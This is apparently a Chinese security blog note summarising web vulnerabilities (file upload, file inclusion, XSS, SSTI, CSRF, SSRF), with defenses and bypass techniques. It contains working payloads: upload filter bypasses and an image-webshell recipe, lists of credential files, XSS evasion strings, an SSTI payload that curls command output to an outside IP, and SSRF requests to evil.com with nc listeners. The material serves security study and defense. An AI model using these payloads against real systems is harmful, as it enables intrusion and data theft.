漏洞总结
- 笔记
- 2023-08-23
- 1842热度
- 0评论
文件上传
| 文件上传漏洞是指用户上传了一个可执行的脚本文件(php、jsp、xml、cer等文件),而WEB系统没有进行检测或逻辑做的不够安全。 一般情况下,Web应用都会允许用户上传一些文件,如头像、附件等信息,如果Web应用没有对用户上传的文件进行有效的检查过滤,那么恶意用户就会上传一句话木马等Webshell,从而达到控制Web网站的目的。 存在文件上传功能的地方都有可能存在文件上传漏洞,比如相册、头像上传,视频、照片分享。论坛发帖和邮箱等可以上传附件的地方也是上传漏阔的高危地带,另外像文件管理器这样的功能也有可能被攻击者所利用。 这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等 |
|---|
流量特征
- 文件类型绕过:攻击者可以尝试通过修改文件扩展名或使用特殊字符来绕过文件类型验证。流量特征可能包括在文件上传请求中修改文件扩展名或使用不同的扩展名。
- 恶意文件名称:攻击者可能会使用具有正确性或恶意意图的文件名称。流量特征可能包括恶意文件名中包含特殊字符、敏感或恶意指令。
- 文件大小异常:攻击者可能尝试上传超过应用程序规定的文件大小限制的文件。流量特征可能包括异常大的文件大小或尝试绕过文件大小限制的请求。
- 文件内容检测绕过:某些应用程序可能会对上传的文件进行内容检测,以确保其不包含恶意内容。攻击者可能尝试通过对文件进行加密、压缩或编码来绕过这些检测。特征可能包括在文件上传请求中使用加密、压缩或编码技术,以及尝试绕过内容检测的其他异常行为。
- 上传路径越权:攻击者可能尝试上传文件到未经授权的目录或路径,以获取对系统中敏感文件的访问权限。流量特征可能包括尝试访问设定路径或修改上传路径的请求。
- 文件上传成功确认:一旦文件上传成功,攻击者可能会发送确认请求或执行其他恶意操作。流量特征可能包括上传后的确认请求、对上传文件执行的其他请求(如访问、执行或分享文件)以及异常的响应。
利用方式
1.上传WebShell文件,攻击者可通过这些网页后门执行命令并控制服务器。 2.上传文件是钓鱼图片或者包含了脚本的图片时,图片中的脚本,在某些版本的浏览器上会被作为脚本执行,从而被利用于钓鱼或者欺诈 3.上传病毒、木马文件,用于诱骗用户和管理员下载执行或者直接自动运行。 4.上传文件是其他恶意脚本时,攻击者可直接执行脚本进行攻击。
防御方式
1.检查文件上传路径 ( 避免 0x00 截断、 IIS6.0 文件夹解析漏洞、目录遍历 ) 2.文件扩展名检测 ( 避免服务器以非图片的文件格式解析文件 ),验证文件扩展名 通常有两种方式 : 黑名单和白名单 . 3.文件 MIME验证 ( 比如 GIF 图片 MIME为 image/gif,CSS 文件的 MIME为 text/css 等 ) 4.图片二次渲染 ( 最变态的上传漏洞防御方式 , 基本上完全避免了文件上传漏洞 ) 5.文件重命名 ( 如随机字符串或时间戳等方式 , 防止攻击者得到 webshell 的路径 ) 6.隐藏上传路径 7.文件内容检测 ( 避免图片中插入 webshell)
绕过方式
1.前端检测
主要是通过JavaScript代码进行检测,是最简单的绕过
绕过方法:
- 删除或者禁用js:火狐–>点击JS使其为灰色->成功禁用
- 使用代理上传文件,brup suite;上传符合要求的文件类型,抓包修改文件类型
2.后端_扩展名检测
针对文件的扩展名后缀进行检测,主要通过黑白名单进行过滤检测,若不符合过滤规则则不允许上传。
2.1黑名单
黑名单检测:一般有个专门的blacklist文件或列举出黑名单,里面会包含常见的危险脚本文件。
绕过方法
大小写绕过: 服务端没有将后缀名转换为统一格式进行比对,导致可以上传后缀为pHp的文件,又因为Windows操作系统大小写不敏感,所以.pHp扔回被当成php文件解析。
修改后缀名绕过:
- 黑名单中不允许上传
.asp,.php,.jsp,.exe后缀的文件 - 但可上传 —
asaceraspx—phpphp3php4php5phtmlpht—jspxjspf—exee
重写(双写)绕过
- 服务端将
黑名单的后缀名替换为空,但只进行一次。上传.pphphp后缀,替换一个php为空,则后缀名变为.php,成功绕过。
利用Windows的命名机制
shell.php.shell.php空格shell.php:1.jpgshell. php::$DATAshell.php:1.jpg在Windows中,后缀名后面的点和空格都会被删除掉
解析漏洞
.htaccess文件解析漏洞- apache解析漏洞
- IIS7.0或IIS7.5或nginx的解析漏洞
- IIS6.0解析漏洞
截断上传
- 截断类型:PHP%00截断
- 截断原理:由于00代表结束符,所以会把00后面的所有字符都截断
- 截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态
2.2白名单
原理:白名单检测:一般有个专门的 whitelist 文件,里面会包含的正常文件:
JpgpngGIF
绕过方法 
图片马制作
准备一张图片,这里为a.png,和一个一句话木马,通过以下命令合成一个图片马3.php: a.php内容:<?php phpinfo(); ?>
cmd打开输入命令:1 | copy a.png /b + a.php /a 3.php
2 | /b:指定以二进制格式复制、合并文件,用于图像或者声音类文件
3 | /a:指定以ascii格式复制、合并文件用于txt等文本类文件
这条命令的意思是:通过copy命令,把a.png图片文件,以二进制文件形式添加到a.php文件中,以ASCII文本文件形式输出为3.php文件。
文件包含
File inclusion,文件包含(漏洞)。程序开发人员通常出于灵活性的考虑,会将被包含的文件设置成变量,然后动态调用这些文件。但正是因为调用的灵活性导致用户可能调用一些恶意文件,造成文件包含漏洞。文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞。
PS:程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程称为包含。
当php.ini开启allow_url_include时,就可以使用以下四个函数进行文件包含。再开启allow_url_fopen(默认关闭)就可以包含远程文件。
| require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。 include(),找不到被包含的文件时只会产生警告,脚本将继续运行。 include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。 require_()与require()类似,唯一的区别就是如果该文件中的代码已经被包含,则不会再次包含。<br/ |
|---|
流量特征
- 文件路径注入:攻击者可能尝试通过在文件包含请求中注入有效的文件路径或目录探索序列来访问未授权的文件。流量特征可能包括对目标系统发送的恶意文件路径、使用特殊字符或字符编码进行路径注入的尝试。
- 特殊协议或允许导出:某些文件包含漏洞通过特殊的协议或导出来外部文件。攻击者可能使用这些特殊的协议或导出来执行远程文件包含攻击。流量特征可能包括在文件中包含请求中使用非标准的协议或导出,如“file://”、“data://”、“php://input”等。
- 敏感文件访问:攻击者可以尝试访问系统中的敏感文件,如配置文件、数据库文件或其他应用程序文件。流量特征可能包括尝试访问底层文件的请求,如尝试访问“/etc/passwd”、“/etc/hosts”等文件。
- 远程文件允许:某些文件包含漏洞可能攻击者包含来自远程服务器的文件。攻击者可能尝试使用远程文件的URL来执行远程文件包含攻击。流量特征可能包括对远程文件的请求,例如“http://evil.com/malicious.php” 。
- 错误消息或异常响应:在执行文件包含时,如果应用程序正确处理错误或异常情况,可能会返回带有信息丢失的错误消息或异常响应。流量特征可能包括返回的异常响应、错误消息或包含敏感信息的响应内容。
利用方式
- 通过上传恶意代码,利用文件包含漏洞显示出来
- 读取服务器中其他内容
- 只能上传图片文件时,将代码写入图片中getsell
防御方式
1.设置白名单:
代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参数进行比较。
代码展示:<?php
$file_list=[ //声明一个变量,用于存放白名单;
'framework/init.php',
'framework/route.php',
'framework/event.php',
];
$file= $_REQUEST['file']; //声明一个变量,用于接收传递过来的文件信息;
if (in_array($file, $file_list)){ //把传递过来的文件信息和白名单里面的文件进行对比;
include "$file"; //如果传递过来的文件是白名单里面的文件,就对它进行文件包含;
}
?>
2.过滤危险字符:
由于
Incbude/Require可以对PHP Wrapper形式的地址进行包含执行(需要配置php.ini), 在Linux环境中可以通过"../../"的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP文件。
验证源码示例:$pattern= "#^[a-z][a-z0-9+.]*:?//#i";
if(substr($filename,-4)=='.php' && strpos($filename,"..")===false&&!preg_match($pattern, $filename)){
include "$file";
}
3.设置文件目录(配置php.ini)
PHP配置文件中有
open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件。
4.关闭危险配置(配置php.ini)
PHP配置中的
allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的。
绕过方式
1.简单的文件包含漏洞 用户只需输入地址,便可以访问到服务器上的数据,要求是明白文件的位置。访问特殊文件: windows特殊文件: C:\boot.ini C:\windows\System32\inetsrv\MetaBas.xml C:\windows\repair\sam C:\program Files\mysql\my.ini C:\program Files\mysql\data\mysql\user.MYD c\windows\php.ini C\windows\my.ini ---------------------------------------------o---------------- linux特殊文件: /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts /etc/passwd /etc/shadow /etc/my.cnf /etc/my.cnf /etc/httpd/conf/httpd.conf /root/.bash_history /root/.mysql_history /proc/self/fd/fd* /proc/mounts/porc/config.gz 在一些网站中可以直接引用某些文件,例如,showimage.php网页,它引入图片显示出来,我们可以显示网站中的源代码,如果不显示,或者显示未知图片,我们将另存为,再打开就可以获得页面。
文件后加入特殊字符绕过 利用工具,将访问路径后加入%00,可以绕过后缀检查。 或者后面加一些特殊字符例如 斜杠 点之类。
省略后缀 有些程序会将传入参数指引到其他位置,或者修改后缀名,先访问文件判断,例如不需要写后缀名。
双写绕过 当写入文件时,发现删除某些特殊字符,我们可以判断是删除了其中字符,例如”php",“…/”,只需再增加一个使其删除后得到我们需要的,需要注意绝对路径与相对路径。
nginx目录解析漏洞 当判断到中间件是nginx时,我们可以利用nginx目录解析,当我们只能上传.jpg文件时,我们无法利用,只能原文读取出来,但是发现在shell.jpg后加/xxx.php,他就能以php方式读取文件,这就是目录解析漏洞。
包含日志文件
当我们访问不存在目录时,例如:http://lfi.cn/LFI-1/<?php phpinfo();?> 它会将错误路径保存在日志中。不同的中间件有不同的路径。 日志文件名字为access_log,access.log,error.log,Logfiles等
伪协议包含 当不能直接访问目录下文件时,可以选择利用伪协议来访问文件,伪协议有以下几种:(allow_url_fopen和allow_url_include)都为On (1)page=file://[绝对路径] 当页面有file1,file2……后台会判断是否已file开头,我们可以使用此协议。 (2)php:// 访问各个输入/输出流(I/O streams) php://filter用于读取源码 php://input用于执行php代码,或者直接将代码写入执行。 (3)zip://[绝对路径], bzip2://[绝对路径], zlib://[绝对路径]协议,都属于压缩楼,访问压缩文件中的子文件,不需要指定后缀 phar:// 可以查找指定压缩包内的文件,相对路径与绝对路径都可以写 (4)data: text/plain,<?php 执行内容 ?>与input类似,当我们想查看源代码时,可以将其先转换为base64文件在传到页面上就不会执行PHP了 (5)http协议 也可以传入外部链接,自己服务器的钓鱼网站。
XSS
流量特征
- 恶意脚本注入:攻击者通过用户输入或其他可控参数,将恶意脚本代码注入到应用程序的输出中。流量特征可能包括在请求或响应数据中注入恶意脚本代码。
- HTML/JavaScript标签或事件:攻击者可能尝试修改HTML标签或JavaScript事件,以执行恶意脚本。流量特征可能包括修改HTML标签(如修改<script>、<img>)或JavaScript事件(如onclick、onmouseover)的值。
- 特殊字符编码或转义:攻击者可能使用特殊字符编码或转义技术来干扰恶意脚本的识别。流量特征可能包括在请求或响应数据中使用的编码或转义字符序列,如URL编码、HTML实体编码等。
- 反射型XSS:攻击者可能通过将脚本脚本注入到URL参数或表单字段中,诱使用户访问包含恶意脚本的URL。流量特征可能包括脚本脚本注入的URL参数或表单字段,并且该脚本在脚本中执行。
- 存储型XSS:攻击者可能将恶意脚本代码存储在应用程序的数据库或其他持久性存储中,当其他用户访问相关页面时,恶意脚本会从存储中搜索并执行。流量特征可能包括在请求或响应中检测到恶意脚本代码的存在。
- 执行脚本操作:攻击者可能尝试执行敏感操作,例如窃取用户会话Cookie、发送恶意请求、修改页面内容等。流量特征可能包括针对敏感操作的尝试,例如发送恶意请求或触发敏感的JavaScript函数。
XSS,即跨站脚本攻击,是指攻击者利用Web服务器中的应用程序或代码漏洞,在页面中嵌入客户端脚本(通常是一段由JavaScript编写的恶意代码,少数情况下还有ActionScript、VBScript等语言),当信任此Web服务器的用户访问Web站点中含有恶意脚本代码的页面或打开收到的URL链接时,用户浏览器会自动加载并执行该恶意代码,从而达到攻击的目的。
当应用程序没有对用户提交的内容进行验证和重新编码,而是直接呈现给网站的访问者时,就可能会触发XSS攻击。
1.反射型XSS
反射型XSS,也称为非持久性XSS,是最常见的一种XSS。
XSS代码常常出现在URL请求中,当用户访问带有XSS代码的URL请求时,服务器端接收请求并处理,然后将带有XSS代码的数据返回给浏览器,浏览器解析该段带有XSS代码的数据并执行,整个过程就像一次反射,故称为反射型XSS。
该类攻击的主要特点是它的及时性和一次性,即用户提交请求后,响应信息会立即反馈给用户。该类攻击常发生在搜索引擎、错误提示页面等对用户的输入做出直接反应的场景中。
2.存储型XSS
存储型XSS,也称为持久性XSS。
在存储型XSS中,XSS代码被存储到服务器端,因此允许用户存储数据到服务器端的Web应用程序可能存在该类型XSS漏洞。攻击者提交一段XSS代码后,服务器接收并存储,当其他用户访问包含该XSS代码的页面时,XSS代码被浏览器解析并执行。
存储型XSS攻击的特点之一是提交的恶意内容会被永久存储,因而一个单独的恶意代码就会使多个用户受害,故被称为持久性XSS,它也是跨站脚本攻击中危害最的一类。二是被存储的用户提交的恶意内容不一定被页面使用,因此存在危险的响应信息不一定被立即返回,也许在访问那些在时间上和空间上没有直接关联的页面时才会引发攻击,因此存在不确定性和更好的隐蔽性。
这类攻击的一个典型场景是留言板、博客和论坛等,当恶意用户在某论坛页面发布含有恶意的Javascript代码的留言时,论坛会将该用户的留言内容保存在数据库或文件中并作为页面内容的一部分显示出来。当其他用户查看该恶意用户的留言时,恶意用户提交的恶意代码就会在用户浏览器中解析并执行。
3.DOM型XSS
DOM (Document Objet Model)指文档对象模型。
DOM常用来表示在HTML和XML中的对象。DOM可以允许程序动态的访问和更新文档的内容、结构等。客户端JavaScript可以访问浏览器的文档对象模型。也就是说,通过JavaScript代码控制DOM节点就可以不经过服务器端的参与重构HTML页面。
该类攻击是反射型XSS的变种。它通常是由于客户端接收到的脚本代码存在逻辑错误或者使用不当导致的。比如Javascript代码不正确地使用各种DOM方法(如document.write)和Javascript内部函数(如eval函数),动态拼接HTML代码和脚本代码就容易引发DOM型的跨站脚本攻击。
因此,DOM型XSS与前面两种XSS的区别就在于DOM型XSS攻击的代码不需要与服务器端进行交互,DOM型XSS的触发基于浏览器端对DOM数据的解析来完成,也就是完全是客户端的事情。
绕过方式:
- 前端过滤 burp抓包改包绕过
- 双写绕过 <scri<script>pt>alert(111)</scri<script>pt>
- 事件绕过 如:onclick,onmousemove事件
- 大小写绕过
<SCRIPT>aLeRT(111)</sCRIpt>
- 注释干扰绕过 如:<scri<!--test--> pt> alert(1);</scr<!--test--> ipt>
- 伪协议绕过 如: 111"> xss < table background= "javascript:alert(/xss/)"> </table>
<img srC= "javascript:alert('ss);" > - 空格回车Tab绕过空格:TAB:< img src= "javasc :ript:alert('ss');" >回车:< img src= "jav ascript: alert('xss');" >
- 编码绕过
- base64编码:
如果过滤了 < > ' " script,可以用base64编码
eval(") eval函数把字符串 当做程序执行atob函数是将base64密文转换为名文
"> <script> eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ));</script>
base64编码多用于如下两种情况:
1. <a href= "可控点">
2. < iframe src= "可控点">
举例:
<a href= "data:text/html;base64,PGItZyBzcmM9eCBvbmVycm9yPWFsZXJOKDEpPg==">test<
/a>
这样当test A链接点击时就会以data协议页面以html/text的方式解析编码为base64然后单点击
a链接时base64的编码就被还原成我们原本的< img src=x οnerrοr= alert(1)>
2.
JS编码:
| 八进制:三个八进制数字,如果个数不够,在前面补0,例如"e'的编码为"\145" |
|---|
- 十六进制:
两个十六进制数字,如果个数不够,在前面补0,'e'的编码为"\x65"
十六进制前面加上\x可以被JS识别
尖括号被转义时,利用十六进制绕过
如:\\x3cscript\\x3ealert(document.domain);\x3c/script\x3e
- unicode:
四个十六进制数字,如果个数不够,在前面补0,'e'的编码为"\u0065"
十六进制前面加上\u00变成JS可识别的Unicode编码
\\u003cscript\u003ealert(document.domain);\\u003c/script\\u003e
对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)
- HTML实体编码:
字符编码:十进制、十六进制编码,样式为"&#数值;",例如"<"可以编码为"<和"<"
<img src="x"οnerrοr= "al&# 101;r 16;(1)">
浏览器是不会在html|标签里解析js编码的,所以我们在οnerrοr=后面放js中的编码是不会解析你放进去是什么就是什么
HTML5新增的实体命名编码
: => [冒号]
=> [换行]
<a href= "javasc ript:alert(1)">click</a>
- URL编码: 进行两次URL全编码
- CSS绕过
- 利用IE特性绕过XSS过滤:
6. IE中两个反单引号hgj `` 可以闭合一个左边双引号
``οnmοusemοve= alert(1)
- 利用css特性绕过xss过滤:
2. 设置background:url,利用JavaScript伪协议执行js,目前只有IE浏览器支持
background-color:# f00;background:url(javascript:alert(document.domain);");
低版本IE浏览器6 10 D版本弹窗成功
- IE中利用CSS触发xss:
3. CSS中的注释/**/
xss:expres/**/sion(if(!window.x){alert(document.domain);window.x= 1;})
修复建议
- 过滤输入的数据,包括 `、<、>、on*等非法字符
- 对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript编码等
- 验证请求头的referer值
防御方式
●使用黑名单进行
●对HTML标签或特殊字符进行过滤
●使用内容安全的CSP
●使用设计上就会自动编码的框架,如:OWASP ESAPI、React JS、JSOUP等,对于JAVA而言,可以使用ESAPI.encoder().encodeForHTML()对字符串进行HTML编码。
●对于反射型和存储型XSS,可以在数据返回给客户端浏览器时,将敏感字符进行转义,如:将单引号进行编码替换(十进制编码'、十六进制编码'、HTML编码&apos、Unicode编码\u0027等)。
●对于DOM型XSS,可以使用上下文敏感数据编码。如:在PHP中的htmlspecialchars()、htmlentities()函 数可以将一些预定义的字符转换为HTML实体,如:小于转化为<、大于转化为>、双引号转化为"、单引号转化为&apos、与转化 为&等。
●启用浏览器的HttpOnly特性可以组织客户端脚本访问cookie。如:在PHP中可以通过下面的代码设置cookie并启用HttpOnly。<?php
Header("Set-Cookie:password=123456;httponly",false);
>
ssti
SSTI就是服务器端模板注入(Server-Side Template Injection),实际上也是一种注入漏洞。
可能SSTI对大家而言不是很熟悉,但是相信大家很熟悉SQL注入。实际上这两者的思路都是相同的,因此可以类比来分析。
注入的思想
用函数不断调用我们要使用的命令:file、read、open、ls等等命令,我们用这些来读取写入配置文件;
漏洞原理
render_template渲染函数的问题
渲染函数在渲染的时候,往往对用户输入的变量不做渲染。
也就是说例如:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
常见引擎: PHP
Twig模板变量:{{%s}}
Smarty模板变量:{%s}
Blade模板变量:{{%s}}
Python
Jinja2模板变量:{{%s}}
Tornado模板变量:{{%s}}
Django模板变量:{{ }}
Java
FreeMarker模板变量:<#%s>``${%s}
Velocity模板变量:#set($x=1+1)${x}
如何判断存在漏洞
简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI
漏洞绕过
1.过滤双下划线__:{{
''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的 request.args 改为 request.values 则利用post的方式进行传参
2.过滤{{:{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
3.过滤引号
request.args 是flask中的一个属性,为返回请求的参数,这里把 path 当作变量名,将后面的路径传值进来,进而绕过了引号的过滤{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)
(request.args.path).read()}}&path=/etc/passw
4.过滤了单双引号和中括号
request.cookies仍然可以用 单双引号的绕过还是利用之前提到的姿势,至于中括号的绕过拿点绕过,拿 getitem 等绕过都可 以。?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
5.过滤关键字:base64编码绕过、字符串拼接绕过、引号内十六进制绕过
6." ' chr等被过滤,无法引入字符串:直接拼接键名、利用 string 、 pop 、 list 、 slice 、 first 等过滤器从已有变量里面直接找、构造出 % 和 c 后,用格式化字符串代替 chr
7.import导包限制__import__
importlib
漏洞防御
1. 和其他的注入防御一样,绝对不要让用户对传入模板的内容或者模板本身进行控制
2. 减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式,使用正规的模板渲染方法
3. 尽可能加载静态模板文件
4. 另一个选择是创建一个安全加固/沙箱环境,禁用或删除潜在的危险指令。
CSRF
流量特征
- 修改格式请求:攻击者可以通过构造特定的请求,以伪装成受信任的用户发送请求。流量特征可能包括在请求中包含恶意操作的目标URL和参数,以及未经授权的操作(如用户设置、删除帐户等)。
- 受信任站点:CSRF 攻击通常通过在受信任站点上插入恶意代码或链接,诱使用户在受信任站点上触发恶意请求。流量特征可能包括攻击者在受信任站点上插入恶意代码、恶意链接或包含恶意请求的表单。
- CSRF令牌提取或不正确:防止CSRF攻击的常见做法是在表单或请求中包含CSRF令牌,以验证请求的合法性。如果应用程序缺少或未正确实施CSRF令牌保护机制,可能会存在CSRF漏洞。流量特征可能包括请求中缺少CSRF令牌或使用过期、无效或无效的CSRF令牌。
- 受信任站点的恶意链接:攻击者可能通过在受信任站点上放置恶意链接,欺骗用户点击触发恶意请求。流量特征可能包括受信任站点上的恶意链接,以及链接中包含的恶意参数或目标URL。
- 无用户交互的恶意操作:CSRF攻击可能通过在图像、iframe或XMLHttpRequest等标签中嵌入恶意请求来实现无用户交互的恶意操作。流量特征可能包括恶意请求的嵌入方式和目标URL。
- 受害者身份验证信息:CSRF攻击通常利用受用户信任的进行恶意操作。流量特征可能包括身份请求中包含受害者的身份验证信息,如Cookie、会话标识符等。
漏洞原理
CSRF(Cross-Site Request Forgery,跨站请求伪造),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF .它是一种常见的 Web攻击方式。是一种劫持用户在当前已登录的Web应用程序上执行非本意操作一种攻击.
(1)http协议使用session在服务端保存用户的个人信息,客户端浏览器用cookie标识用户身份;
(2)cookie的认证只能确保是某个用户发送的请求,但是不能保证这个请求是否是"用户自愿的行为".
(3)这时,用户登录了某个web站点,同时点击了包含CSRF恶意代码的URL,就会触发CSRF
产生条件
(1)用户必须登录A网站,生成了cookie
(2)登录的同时访问了恶意URL(包含CSRF恶意代码的URL).
漏洞挖掘
(1)使用burp抓包后修改Referer字段再重新提交,如果能请求就存在CSRF漏洞.
(2)其他CSRF工具,比如
CSRFTester就是通过抓取提交参数;
修改表单信息,重新提交;----->伪造客户端请求
重新提交成功就存在CSRF漏洞.
DVWA中low级别CSRF:没有对输入做过滤,而且也没有原密码认证
漏洞防御
1.修改密码时,需要原密码;
2.对客户来讲,不要点击来历不明的链接或图片;养成定时退出的好习惯;安装安全防护软件等
3.验证 Referer/Content-Type
4.对于用户修改删除等操作最好都使用POST操作
5.避免全站通用的Cookie,严格设置Cookie的域
6.使用Referer Header确定来源域名
7.实例使用Token进行CSRF防御
1.登陆验证成功之后,在会话SESSION["user_token"]中保存Token
2.在后台操作中,增删改表单中添加隐藏域hidden,设置value为Token
3.提交之后验证Token是否正确
8.双重Cookie验证
在会话中存储CSRF Token比较繁琐,而且不能在通用的拦截上统一处理所有的接口。
那么另一种防御措施是使用双重提交Cookie。利用CSRF攻击不能获取到用户Cookie的特点,我们可以要求Ajax和表单请求携带一个Cookie中的值。
双重Cookie采用以下流程:
- 在用户访问网站页面时,向请求域名注入一个Cookie,内容为随机字符串(例如
csrfcookie=v8g9e4ksfhw)。 - 在前端向后端发起请求时,取出Cookie,并添加到URL的参数中(接上例
POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw)。 - 后端接口验证Cookie中的字段与URL参数中的字段是否一致,不一致则拒绝。
ssrf
流量特征
- 目标URL参数:攻击者通过在应用程序中的参数中指定目标URL来触发SSRF漏洞。流量特征可能包括请求中的目标URL参数,通常以“URL=”或“target=”的参数出现形式。
- 内部或外部IP地址:SSRF攻击通常利用应用程序允许访问内部或外部IP地址的能力,从而发起针对这些地址的请求。流量特征可能包括请求中使用的IP地址或域名指向内部网络资源。
- 文件协议(file://):攻击者可能尝试使用“file://”协议来访问本地文件系统,获取敏感信息或执行其他恶意操作。流量特征可能包括请求中的“file://”协议出现,指示攻击者尝试访问本地文件系统。
- 字符或URL编码:攻击者可能使用控制字符或URL编码来混淆目标URL,绕过输入过滤和检测。流量特征可能包括在请求中使用的控制字符(如换行符、空字符等)或URL编码技术。
- HTTP重定向:SSRF攻击可能利用服务器端应用程序中的HTTP重定向功能来发起未授权的请求。流量特征可能包括请求中的重定向URL,该URL指向攻击者所需的目标地址。
- 异步请求或远程文件加载:攻击者可能使用异步请求(如XMLHttpRequest)或远程文件加载(如<img>标签的src属性)来发起SSRF攻击。流量特征可能包括异步请求的目标URL或远程文件加载的URL。
- 响应数据泄露:成功的SSRF攻击可能导致服务器返回敏感信息或目标资源的响应数据。流量特征可能包括响应中包含敏感信息或未授权的目标资源的内容。
SSRF是什么? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
漏洞原理 SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
比如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务
SSRF中URL的伪协议 当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info: sftp:// SSH文件传输协议或安全文件传输协议 ldap:// 轻量级目录访问协议 tftp:// 简单文件传输协议 gopher:// 分布式文档传递服务,可使用gopherus生成payload
1.file
这种URL Schema可以尝试从文件系统中获取文件:
如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:
2.dict
这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:
http://example.com/ssrf.php?dict://evil.com:1337/ evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
3.sftp
在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/ evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
4.ldap://或ldaps:// 或ldapi://
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
5.tftp://
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET evil.com:# nc -lvup 1337 Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
6.gopher://
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?> evil.com:# nc -lvp 1337 Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
利用方式
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。.
6.各个协议调用探针:http,file,dict,ftp,gopher等
http:192.168.64.144/phpmyadmin/ file:///D:/www.txt dict://192.168.64.144:3306/info ftp://192.168.64.144:21
防御方式
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
绕过方式
1.限制为http://www.xxx.com 域名时(利用@)
| 可以尝试采用http基本身份认证的方式绕过 如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异 在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。 |
|---|
2.采用短网址绕过
| 比如百度短地址https://dwz.cn/ |
|---|
3.采用进制转换
| 127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433. |
|---|
4.利用特殊域名
| 原理是DNS解析。xip.io可以指向任意域名,即 127.0.0.1.xip.io,可解析为127.0.0.1 (xip.io 现在好像用不了了,可以找找其他的) |
|---|
5.利用[::]
| 可以利用[::]来绕过localhost http://169.254.169.254>>http://[::169.254.169.254] |
|---|
6.利用句号
| 127。0。0。1 >>> 127.0.0.1 |
|---|
7、CRLF 编码绕过%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入
